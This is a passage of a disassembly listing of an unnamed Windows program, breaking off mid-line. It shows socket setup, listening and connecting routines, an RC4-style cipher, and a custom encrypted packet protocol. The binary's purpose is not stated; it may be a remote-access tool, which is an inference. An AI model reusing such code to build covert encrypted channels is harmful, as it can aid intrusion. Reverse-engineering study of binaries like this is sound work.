var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi mov ebx, [ebp+arg_0] jmp short loc_4426BA ; --------------------------------------------------------------------------- loc_4426A2: ; CODE XREF: sub_442695+2Cj dec dword_411000 mov eax, dword_411000 push dword_4128A8[eax*4] call sub_4424E1 pop ecx loc_4426BA: ; CODE XREF: sub_442695+Bj cmp dword_411000, 0 jnz short loc_4426A2 jmp short loc_442736 ; --------------------------------------------------------------------------- loc_4426C5: ; CODE XREF: sub_442695+ADj push 401h call sub_4424B3 pop ecx mov edx, dword_411000 mov dword_4128A8[edx*4], eax cmp byte ptr [ebx], 22h jnz short loc_4426E9 inc ebx mov [ebp+var_1], 22h jmp short loc_4426ED ; --------------------------------------------------------------------------- loc_4426E9: ; CODE XREF: sub_442695+4Bj mov [ebp+var_1], 20h loc_4426ED: ; CODE XREF: sub_442695+52j and [ebp+var_8], 0 mov eax, dword_411000 lea edx, [eax+1] mov dword_411000, edx mov esi, dword_4128A8[eax*4] jmp short loc_44270E ; --------------------------------------------------------------------------- loc_442708: ; CODE XREF: sub_442695+8Bj mov al, [ebx] mov [esi], al inc esi inc ebx loc_44270E: ; CODE XREF: sub_442695+71j mov al, [ebx] test al, al jz short loc_442722 cmp al, [ebp+var_1] jz short loc_442722 cmp [ebp+var_8], 400h jl short loc_442708 loc_442722: ; CODE XREF: sub_442695+7Dj ; sub_442695+82j cmp [ebp+var_1], 22h jnz short loc_442731 cmp byte ptr [ebx], 22h jnz short loc_442731 inc ebx jmp short loc_442731 ; --------------------------------------------------------------------------- loc_442730: ; CODE XREF: sub_442695+9Fj inc ebx loc_442731: ; CODE XREF: sub_442695+91j ; sub_442695+96j ... cmp byte ptr [ebx], 20h jz short loc_442730 loc_442736: ; CODE XREF: sub_442695+2Ej cmp byte ptr [ebx], 0 jz short loc_442744 cmp dword_411000, 20h jl short loc_4426C5 loc_442744: ; CODE XREF: sub_442695+A4j mov eax, dword_411000 and dword_4128A8[eax*4], 0 pop esi pop ebx mov esp, ebp pop ebp retn sub_442695 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442757 proc near ; CODE XREF: sub_447EEC+256p var_190 = byte ptr -190h push ebp mov ebp, esp sub esp, 190h push ebx push esi mov bx, 2 lea eax, [ebp+var_190] push eax movzx eax, bx push eax call sub_4484A9 ; WSAStartup mov esi, eax test esi, esi jz short loc_4427A7 mov bx, 101h lea eax, [ebp+var_190] push eax movzx eax, bx push eax call sub_4484A9 ; WSAStartup mov esi, eax test esi, esi jz short loc_44279A xor eax, eax jmp short loc_4427B5 ; --------------------------------------------------------------------------- loc_44279A: ; CODE XREF: sub_442757+3Dj push offset aWinsock1_1Init ; "WinSock 1.1 initialized.\n" call nullsub_4 pop ecx jmp short loc_4427B2 ; --------------------------------------------------------------------------- loc_4427A7: ; CODE XREF: sub_442757+23j push offset aWinsock2_xInit ; "WinSock 2.x initialized.\n" call nullsub_4 pop ecx loc_4427B2: ; CODE XREF: sub_442757+4Ej xor eax, eax inc eax loc_4427B5: ; CODE XREF: sub_442757+41j pop esi pop ebx mov esp, ebp pop ebp retn sub_442757 endp ; --------------------------------------------------------------------------- call sub_4484AF ; WSACleanup xor eax, eax inc eax retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4427C4 proc near ; CODE XREF: sub_443D01+BDp ; DMN1:00445186p ... var_4 = dword ptr -4 push ebp mov ebp, esp push eax push ebx push 6 push 1 push 2 call sub_4484B5 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_4427E2 xor eax, eax jmp short loc_442838 ; --------------------------------------------------------------------------- loc_4427E2: ; CODE XREF: sub_4427C4+18j mov [ebp+var_4], 112A880h push 4 lea eax, [ebp+var_4] push eax push 1005h push 0FFFFh push ebx call sub_4484BB ; setsockopt mov [ebp+var_4], 112A880h push 4 lea eax, [ebp+var_4] push eax push 1006h push 0FFFFh push ebx call sub_4484BB ; setsockopt mov [ebp+var_4], 1 push 4 lea eax, [ebp+var_4] push eax push 8 push 0FFFFh push ebx call sub_4484BB ; setsockopt mov eax, ebx loc_442838: ; CODE XREF: sub_4427C4+1Cj pop ebx mov esp, ebp pop ebp retn sub_4427C4 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax push ebx push 6 push 1 push 2 call sub_4484B5 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_44285B xor eax, eax jmp short loc_4428BC ; --------------------------------------------------------------------------- loc_44285B: ; CODE XREF: DMN1:00442855j imul eax, [ebp+0Ch], 3E8h mov [ebp-4], eax push 4 lea eax, [ebp-4] push eax push 1005h push 0FFFFh push ebx call sub_4484BB ; setsockopt imul eax, [ebp+8], 3E8h mov [ebp-4], eax push 4 lea eax, [ebp-4] push eax push 1006h push 0FFFFh push ebx call sub_4484BB ; setsockopt xor eax, eax cmp dword ptr [ebp+10h], 0 setnz al mov [ebp-4], eax push 4 lea eax, [ebp-4] push eax push 8 push 0FFFFh push ebx call sub_4484BB ; setsockopt mov eax, ebx loc_4428BC: ; CODE XREF: DMN1:00442859j pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax push ebx mov ebx, [ebp+8] imul eax, [ebp+10h], 3E8h mov [ebp-4], eax push 4 lea eax, [ebp-4] push eax push 1005h push 0FFFFh push ebx call sub_4484BB ; setsockopt imul eax, [ebp+0Ch], 3E8h mov [ebp-4], eax push 4 lea eax, [ebp-4] push eax push 1006h push 0FFFFh push ebx call sub_4484BB ; setsockopt xor eax, eax cmp dword ptr [ebp+14h], 0 setnz al mov [ebp-4], eax push 4 lea eax, [ebp-4] push eax push 8 push 0FFFFh push ebx call sub_4484BB ; setsockopt pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_44292D proc near ; CODE XREF: sub_443A14+15Dp ; sub_443A14+1B4p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_4484C1 ; closesocket xor eax, eax inc eax retn sub_44292D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44293A proc near ; CODE XREF: DMN1:00445749p ; DMN1:004457C3p ... var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10Ch push ebx push esi mov ebx, [ebp+arg_0] and [ebp+var_10C], 0 and [ebp+var_108], 0 and [ebp+var_104], 0 cmp [ebp+var_104], 40h jnb short loc_44297C mov eax, [ebp+var_104] lea edx, [eax+1] mov [ebp+var_104], edx mov [ebp+eax*4+var_100], ebx loc_44297C: ; CODE XREF: sub_44293A+2Aj lea eax, [ebp+var_10C] push eax push 0 push 0 lea eax, [ebp+var_104] push eax push 0 call sub_4484C7 ; select mov esi, eax cmp eax, 0FFFFFFFFh jz short loc_4429A7 test esi, esi jnz short loc_4429A4 xor eax, eax jmp short loc_4429A7 ; --------------------------------------------------------------------------- loc_4429A4: ; CODE XREF: sub_44293A+64j xor eax, eax inc eax loc_4429A7: ; CODE XREF: sub_44293A+60j ; sub_44293A+68j pop esi pop ebx mov esp, ebp pop ebp retn sub_44293A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4429AD proc near ; CODE XREF: sub_4439CD+13p ; sub_443A14+1F5p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push eax push ebx lea eax, [ebp+var_4] push eax push 4004667Fh push [ebp+arg_0] call sub_4484CD ; ioctlsocket mov ebx, eax cmp eax, 0FFFFFFFFh jz short loc_4429CD mov eax, [ebp+var_4] loc_4429CD: ; CODE XREF: sub_4429AD+1Bj pop ebx mov esp, ebp pop ebp retn sub_4429AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4429D2 proc near ; CODE XREF: sub_443A14+14Ep ; sub_443D01+DBp ... var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = word ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push 10h push 0 lea eax, [ebp+var_10] push eax call sub_448DCB add esp, 0Ch mov [ebp+var_10], 2 mov eax, [ebp+arg_4] mov [ebp+var_C], eax movzx eax, [ebp+arg_8] push eax call sub_4484D3 ; htons mov [ebp+var_E], ax lea ebx, [ebp+var_10] push 10h push ebx push [ebp+arg_0] call sub_4484D9 ; connect cmp eax, 0FFFFFFFFh jnz short loc_442A1A xor eax, eax jmp short loc_442A1D ; --------------------------------------------------------------------------- loc_442A1A: ; CODE XREF: sub_4429D2+42j xor eax, eax inc eax loc_442A1D: ; CODE XREF: sub_4429D2+46j pop ebx mov esp, ebp pop ebp retn sub_4429D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442A22 proc near ; CODE XREF: DMN1:00445897p ; DMN1:004461F1p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = word ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push 10h push 0 lea eax, [ebp+var_10] push eax call sub_448DCB add esp, 0Ch mov [ebp+var_10], 2 mov eax, [ebp+arg_4] mov [ebp+var_C], eax movzx eax, [ebp+arg_8] push eax call sub_4484D3 ; htons mov [ebp+var_E], ax lea ebx, [ebp+var_10] push 10h push ebx push [ebp+arg_0] call sub_4484DF ; bind cmp eax, 0FFFFFFFFh jnz short loc_442A6A xor eax, eax jmp short loc_442A6D ; --------------------------------------------------------------------------- loc_442A6A: ; CODE XREF: sub_442A22+42j xor eax, eax inc eax loc_442A6D: ; CODE XREF: sub_442A22+46j pop ebx mov esp, ebp pop ebp retn sub_442A22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442A72 proc near ; CODE XREF: DMN1:004458B6p ; DMN1:00446333p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 5 push [ebp+arg_0] call sub_4484E5 ; listen test eax, eax jge short loc_442A87 xor eax, eax jmp short loc_442A8A ; --------------------------------------------------------------------------- loc_442A87: ; CODE XREF: sub_442A72+Fj xor eax, eax inc eax loc_442A8A: ; CODE XREF: sub_442A72+13j pop ebp retn sub_442A72 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442A8C proc near ; CODE XREF: DMN1:00447554p var_14 = dword ptr -14h var_10 = word ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push 10h push 0 lea eax, [ebp+var_10] push eax call sub_448DCB add esp, 0Ch mov [ebp+var_10], 2 mov [ebp+var_14], 10h lea esi, [ebp+var_10] lea eax, [ebp+var_14] push eax push esi push [ebp+arg_0] call sub_4484EB ; accept mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_442ACF xor eax, eax jmp short loc_442AD1 ; --------------------------------------------------------------------------- loc_442ACF: ; CODE XREF: sub_442A8C+3Dj mov eax, ebx loc_442AD1: ; CODE XREF: sub_442A8C+41j pop esi pop ebx mov esp, ebp pop ebp retn sub_442A8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442AD7 proc near ; CODE XREF: DMN1:004458CEp ; DMN1:0044634Bp var_14 = dword ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov ebx, [ebp+arg_8] mov edx, [ebp+arg_4] and dword ptr [edx], 0 mov word ptr [ebx], 0 push 10h push 0 lea eax, [ebp+var_10] push eax call sub_448DCB add esp, 0Ch mov [ebp+var_10], 2 mov [ebp+var_14], 10h lea edi, [ebp+var_10] lea eax, [ebp+var_14] push eax push edi push [ebp+arg_0] call sub_4484EB ; accept mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_442B29 xor eax, eax jmp short loc_442B40 ; --------------------------------------------------------------------------- loc_442B29: ; CODE XREF: sub_442AD7+4Cj mov edx, [ebp+arg_4] mov eax, [ebp+var_C] mov [edx], eax movzx eax, [ebp+var_E] push eax call sub_4484F1 ; htons mov [ebx], ax mov eax, esi loc_442B40: ; CODE XREF: sub_442AD7+50j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_442AD7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442B47 proc near ; CODE XREF: sub_443017+44p ; sub_443017+A3p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+arg_4] mov edi, [ebp+arg_8] jmp short loc_442B72 ; --------------------------------------------------------------------------- loc_442B55: ; CODE XREF: sub_442B47+2Dj push 0 push [ebp+arg_8] push ebx push [ebp+arg_0] call sub_4484F7 ; recv mov esi, eax test esi, esi jg short loc_442B6E or eax, 0FFFFFFFFh jmp short loc_442B79 ; --------------------------------------------------------------------------- loc_442B6E: ; CODE XREF: sub_442B47+20j sub edi, esi add ebx, esi loc_442B72: ; CODE XREF: sub_442B47+Cj test edi, edi jg short loc_442B55 mov eax, [ebp+arg_8] loc_442B79: ; CODE XREF: sub_442B47+25j pop edi pop esi pop ebx pop ebp retn sub_442B47 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442B7E proc near ; CODE XREF: sub_443A14+1E3p ; sub_443D01+149p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+arg_8] mov edi, ebx xor ebx, ebx jmp short loc_442BAD ; --------------------------------------------------------------------------- loc_442B8D: ; CODE XREF: sub_442B7E+31j push 0 push ebx push [ebp+arg_4] push [ebp+arg_0] call sub_4484F7 ; recv mov esi, eax test esi, esi jle short loc_442BB1 sub edi, esi mov eax, [ebp+arg_4] add eax, esi mov [ebp+arg_4], eax add ebx, esi loc_442BAD: ; CODE XREF: sub_442B7E+Dj test edi, edi jg short loc_442B8D loc_442BB1: ; CODE XREF: sub_442B7E+21j mov eax, ebx pop edi pop esi pop ebx pop ebp retn sub_442B7E endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+10h] mov edi, ebx xor ebx, ebx jmp short loc_442BE7 ; --------------------------------------------------------------------------- loc_442BC7: ; CODE XREF: DMN1:00442BE9j push 0 push ebx push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_4484F7 ; recv mov esi, eax test esi, esi jle short loc_442BEB sub edi, esi mov eax, [ebp+0Ch] add eax, esi mov [ebp+0Ch], eax add ebx, esi loc_442BE7: ; CODE XREF: DMN1:00442BC5j test edi, edi jg short loc_442BC7 loc_442BEB: ; CODE XREF: DMN1:00442BD9j mov eax, ebx pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442BF2 proc near ; CODE XREF: sub_442F45+97p ; sub_443A14+1A4p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+arg_4] mov edi, [ebp+arg_8] jmp short loc_442C1D ; --------------------------------------------------------------------------- loc_442C00: ; CODE XREF: sub_442BF2+2Dj push 0 push [ebp+arg_8] push ebx push [ebp+arg_0] call sub_4484FD ; send mov esi, eax test esi, esi jg short loc_442C19 or eax, 0FFFFFFFFh jmp short loc_442C24 ; --------------------------------------------------------------------------- loc_442C19: ; CODE XREF: sub_442BF2+20j sub edi, esi add ebx, esi loc_442C1D: ; CODE XREF: sub_442BF2+Cj test edi, edi jg short loc_442C00 mov eax, [ebp+arg_8] loc_442C24: ; CODE XREF: sub_442BF2+25j pop edi pop esi pop ebx pop ebp retn sub_442BF2 endp ; =============== S U B R O U T I N E ======================================= sub_442C29 proc near ; CODE XREF: DMN1:00442CEDp ; DMN1:004450DAp ... arg_0 = dword ptr 4 push ebx push esi xor esi, esi push [esp+8+arg_0] call sub_448503 ; inet_addr mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_442C5D push [esp+8+arg_0] call sub_448509 ; gethostbyname mov esi, eax test esi, esi jnz short loc_442C54 or eax, 0FFFFFFFFh jmp short loc_442C5F ; --------------------------------------------------------------------------- loc_442C54: ; CODE XREF: sub_442C29+24j mov eax, [esi+0Ch] mov eax, [eax] mov eax, [eax] jmp short loc_442C5F ; --------------------------------------------------------------------------- loc_442C5D: ; CODE XREF: sub_442C29+15j mov eax, ebx loc_442C5F: ; CODE XREF: sub_442C29+29j ; sub_442C29+32j pop esi pop ebx retn sub_442C29 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 14h push ebx push esi push 10h push 0 lea eax, [ebp-10h] push eax call sub_448DCB add esp, 0Ch mov word ptr [ebp-10h], 2 mov dword ptr [ebp-14h], 10h lea ebx, [ebp-10h] lea eax, [ebp-14h] push eax push ebx push dword ptr [ebp+8] call sub_44850F ; getsockname mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_442CA2 xor eax, eax jmp short loc_442CBD ; --------------------------------------------------------------------------- loc_442CA2: ; CODE XREF: DMN1:00442C9Cj mov edx, [ebp+0Ch] mov eax, [ebp-0Ch] mov [edx], eax movzx eax, word ptr [ebp-0Eh] push eax call sub_4484F1 ; htons mov edx, [ebp+10h] mov [edx], ax xor eax, eax inc eax loc_442CBD: ; CODE XREF: DMN1:00442CA0j pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h push ebx push esi mov byte ptr [ebp-400h], 0 push 400h lea eax, [ebp-400h] push eax call sub_448515 ; gethostname lea eax, [ebp-400h] push eax call sub_442C29 pop ecx mov ebx, eax mov [ebp-404h], ebx mov eax, [ebp-404h] push eax call sub_44851B ; inet_ntoa mov esi, eax push esi lea eax, [ebp-400h] push eax push offset aSIsS ; "%s is %s\n" call nullsub_4 add esp, 0Ch mov eax, ebx pop esi pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442D26 proc near ; CODE XREF: sub_442EC0+14p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edx, [ebp+arg_0] and dword ptr [edx+400h], 0 mov edx, [ebp+arg_0] and dword ptr [edx+404h], 0 mov ebx, [ebp+arg_0] xor ecx, ecx loc_442D48: ; CODE XREF: sub_442D26+2Cj mov [ebx+ecx*4], ecx inc ecx cmp ecx, 100h jl short loc_442D48 and [ebp+var_8], 0 xor edi, edi xor ecx, ecx loc_442D5C: ; CODE XREF: sub_442D26+77j lea eax, [ebx+ecx*4] mov [ebp+var_C], eax mov edx, [eax] mov [ebp+var_4], edx add edx, edi mov esi, [ebp+var_8] mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+esi] add eax, edx movzx edi, al mov eax, [ebx+edi*4] mov edx, [ebp+var_C] mov [edx], eax mov eax, [ebp+var_4] mov [ebx+edi*4], eax mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax cmp eax, [ebp+arg_8] jl short loc_442D96 and [ebp+var_8], 0 loc_442D96: ; CODE XREF: sub_442D26+6Aj inc ecx cmp ecx, 100h jl short loc_442D5C pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_442D26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442DA6 proc near ; CODE XREF: sub_442F45+86p ; sub_443017+71p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov eax, [ebp+arg_0] mov ebx, [eax+400h] mov edi, [eax+404h] mov ecx, eax and [ebp+var_8], 0 jmp short loc_442E0D ; --------------------------------------------------------------------------- loc_442DC6: ; CODE XREF: sub_442DA6+6Dj lea eax, [ebx+1] movzx ebx, al lea eax, [ecx+ebx*4] mov edx, [eax] mov [ebp+var_4], edx add edx, edi movzx edi, dl mov edx, [ecx+edi*4] mov [ebp+var_C], edx mov [eax], edx mov eax, [ebp+var_4] mov [ecx+edi*4], eax mov eax, [ebp+var_8] mov edx, [ebp+arg_4] add eax, edx mov [ebp+var_10], eax movsx edx, byte ptr [eax] mov esi, [ebp+var_4] mov eax, [ebp+var_C] add eax, esi movzx eax, al xor edx, [ecx+eax*4] mov al, dl mov edx, [ebp+var_10] mov [edx], al inc [ebp+var_8] loc_442E0D: ; CODE XREF: sub_442DA6+1Ej mov eax, [ebp+arg_8] cmp [ebp+var_8], eax jl short loc_442DC6 mov edx, [ebp+arg_0] mov [edx+400h], ebx mov edx, [ebp+arg_0] mov [edx+404h], edi pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_442DA6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442E2E proc near ; CODE XREF: DMN1:00445199p var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push eax push ebx push esi push 474h call sub_4424B3 pop ecx mov esi, eax push 10020h call sub_4424B3 pop ecx mov [esi+46Ch], eax mov [ebp+var_1], 5Ah xor ebx, ebx loc_442E58: ; CODE XREF: sub_442E2E+3Fj mov al, [ebp+var_1] mov [esi+ebx+4], al movsx eax, [ebp+var_1] lea eax, [ebx+eax*2] mov [ebp+var_1], al inc ebx cmp ebx, 40h jl short loc_442E58 mov [ebp+var_1], 0A5h xor ebx, ebx loc_442E75: ; CODE XREF: sub_442E2E+5Dj mov al, [ebp+var_1] mov [esi+ebx+44h], al movsx eax, [ebp+var_1] add eax, eax sub eax, ebx mov [ebp+var_1], al inc ebx cmp ebx, 20h jl short loc_442E75 mov eax, [ebp+arg_0] mov [esi], eax mov eax, [esi+46Ch] mov [esi+470h], eax mov eax, esi pop esi pop ebx mov esp, ebp pop ebp retn sub_442E2E endp ; =============== S U B R O U T I N E ======================================= sub_442EA6 proc near ; CODE XREF: DMN1:00445429p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] push dword ptr [ebx+46Ch] call sub_4424E1 pop ecx push ebx call sub_4424E1 pop ecx pop ebx retn sub_442EA6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442EC0 proc near ; CODE XREF: sub_442F45+27p ; sub_443017+36p var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push eax push ebx push esi push edi mov ebx, [ebp+arg_0] push 40h lea eax, [ebx+4] push eax lea eax, [ebx+64h] push eax call sub_442D26 add esp, 0Ch mov al, [ebx+4] mov [ebp+var_1], al push 3Fh lea eax, [ebx+5] push eax lea eax, [ebx+4] push eax call sub_448E2B add esp, 0Ch mov al, [ebp+var_1] mov [ebx+43h], al xor esi, esi xor edi, edi jmp short loc_442F18 ; --------------------------------------------------------------------------- loc_442F00: ; CODE XREF: sub_442EC0+5Bj lea eax, [ebx+esi+4] mov dl, [ebx+edi+44h] add [eax], dl lea eax, [edi+1] mov ecx, 20h cdq idiv ecx mov edi, edx inc esi loc_442F18: ; CODE XREF: sub_442EC0+3Ej cmp esi, 40h jl short loc_442F00 mov al, [ebx+63h] mov [ebp+var_1], al mov esi, 1Fh loc_442F28: ; CODE XREF: sub_442EC0+76j lea eax, [esi-1] mov al, [ebx+eax+44h] mov [ebx+esi+44h], al dec esi test esi, esi jg short loc_442F28 mov al, [ebp+var_1] mov [ebx+44h], al pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_442EC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442F45 proc near ; CODE XREF: sub_442FFA+13p ; sub_4431E1+8Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = word ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push eax push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_C] test esi, esi jl short loc_442F5E cmp esi, 0FFFFh jle short loc_442F65 loc_442F5E: ; CODE XREF: sub_442F45+Fj xor eax, eax jmp loc_442FF3 ; --------------------------------------------------------------------------- loc_442F65: ; CODE XREF: sub_442F45+17j cmp [ebp+arg_10], 0 jz short loc_442F72 push ebx call sub_442EC0 pop ecx loc_442F72: ; CODE XREF: sub_442F45+24j mov edi, [ebx+46Ch] mov word ptr [edi], 29Ah add edi, 2 mov ax, [ebp+arg_4] mov [edi], ax add edi, 2 mov ax, si mov [edi], ax add edi, 2 test esi, esi jz short loc_442FA4 push esi push [ebp+arg_8] push edi call sub_448E2B add esp, 0Ch loc_442FA4: ; CODE XREF: sub_442F45+50j add esi, 6 push esi movzx eax, [ebp+arg_4] push eax push offset aPktsendIIBytes ; "PktSend(%i): %i bytes\n" call nullsub_4 add esp, 0Ch cmp [ebp+arg_10], 0 jz short loc_442FD3 push esi push dword ptr [ebx+46Ch] lea eax, [ebx+64h] push eax call sub_442DA6 add esp, 0Ch loc_442FD3: ; CODE XREF: sub_442F45+79j push esi push dword ptr [ebx+46Ch] push dword ptr [ebx] call sub_442BF2 add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], esi jge short loc_442FF0 xor eax, eax jmp short loc_442FF3 ; --------------------------------------------------------------------------- loc_442FF0: ; CODE XREF: sub_442F45+A5j xor eax, eax inc eax loc_442FF3: ; CODE XREF: sub_442F45+1Bj ; sub_442F45+A9j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_442F45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442FFA proc near ; CODE XREF: DMN1:004433B2p ; DMN1:004452B5p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 1 push [ebp+arg_C] push [ebp+arg_8] movzx eax, [ebp+arg_4] push eax push [ebp+arg_0] call sub_442F45 add esp, 14h pop ebp retn sub_442FFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443017 proc near ; CODE XREF: sub_4431C6+11p ; DMN1:004432A0p var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_10] mov edx, [ebp+arg_4] mov word ptr [edx], 0 and [ebp+var_4], 0 mov eax, [ebp+arg_C] test eax, eax jl short loc_443040 cmp eax, 0FFFFh jle short loc_443048 loc_443040: ; CODE XREF: sub_443017+20j or eax, 0FFFFFFFFh jmp loc_4431BF ; --------------------------------------------------------------------------- loc_443048: ; CODE XREF: sub_443017+27j test esi, esi jz short loc_443053 push ebx call sub_442EC0 pop ecx loc_443053: ; CODE XREF: sub_443017+33j push 2 lea eax, [ebp+var_6] push eax push dword ptr [ebx] call sub_442B47 add esp, 0Ch mov edi, eax cmp edi, 2 jge short loc_44307A mov edx, [ebp+arg_4] mov word ptr [edx], 0 or eax, 0FFFFFFFFh jmp loc_4431BF ; --------------------------------------------------------------------------- loc_44307A: ; CODE XREF: sub_443017+51j test esi, esi jz short loc_443090 push 2 lea eax, [ebp+var_6] push eax lea eax, [ebx+64h] push eax call sub_442DA6 add esp, 0Ch loc_443090: ; CODE XREF: sub_443017+65j cmp [ebp+var_6], 29Ah jz short loc_4430B3 movzx eax, [ebp+var_6] push eax push offset aPktrecvInvalid ; "PktRecv(): invalid signature (%i)\n" call nullsub_4 pop ecx pop ecx mov eax, 0FFFFFFFEh jmp loc_4431BF ; --------------------------------------------------------------------------- loc_4430B3: ; CODE XREF: sub_443017+7Fj push 2 push [ebp+arg_4] push dword ptr [ebx] call sub_442B47 add esp, 0Ch mov edi, eax cmp edi, 2 jge short loc_4430D9 mov edx, [ebp+arg_4] mov word ptr [edx], 0 or eax, 0FFFFFFFFh jmp loc_4431BF ; --------------------------------------------------------------------------- loc_4430D9: ; CODE XREF: sub_443017+B0j test esi, esi jz short loc_4430EE push 2 push [ebp+arg_4] lea eax, [ebx+64h] push eax call sub_442DA6 add esp, 0Ch loc_4430EE: ; CODE XREF: sub_443017+C4j mov eax, [ebp+arg_4] movzx eax, word ptr [eax] push eax push offset aPktrecvPacketi ; "PktRecv(): packetId: 0x%03x\n" call nullsub_4 pop ecx pop ecx push 2 lea eax, [ebp+var_4] push eax push dword ptr [ebx] call sub_442B47 add esp, 0Ch mov edi, eax cmp edi, 2 jge short loc_443128 mov edx, [ebp+arg_4] mov word ptr [edx], 0 or eax, 0FFFFFFFFh jmp loc_4431BF ; --------------------------------------------------------------------------- loc_443128: ; CODE XREF: sub_443017+FFj test esi, esi jz short loc_44313E push 2 lea eax, [ebp+var_4] push eax lea eax, [ebx+64h] push eax call sub_442DA6 add esp, 0Ch loc_44313E: ; CODE XREF: sub_443017+113j push [ebp+arg_C] push [ebp+var_4] push offset aProtorecvDataS ; "protorecv(): data size: %i (of %i)\n" call nullsub_4 add esp, 0Ch cmp [ebp+var_4], 0 jz short loc_443176 push [ebp+var_4] push dword ptr [ebx+46Ch] push dword ptr [ebx] call sub_442B47 add esp, 0Ch mov edi, eax cmp edi, [ebp+var_4] jge short loc_443176 or eax, 0FFFFFFFFh jmp short loc_4431BF ; --------------------------------------------------------------------------- loc_443176: ; CODE XREF: 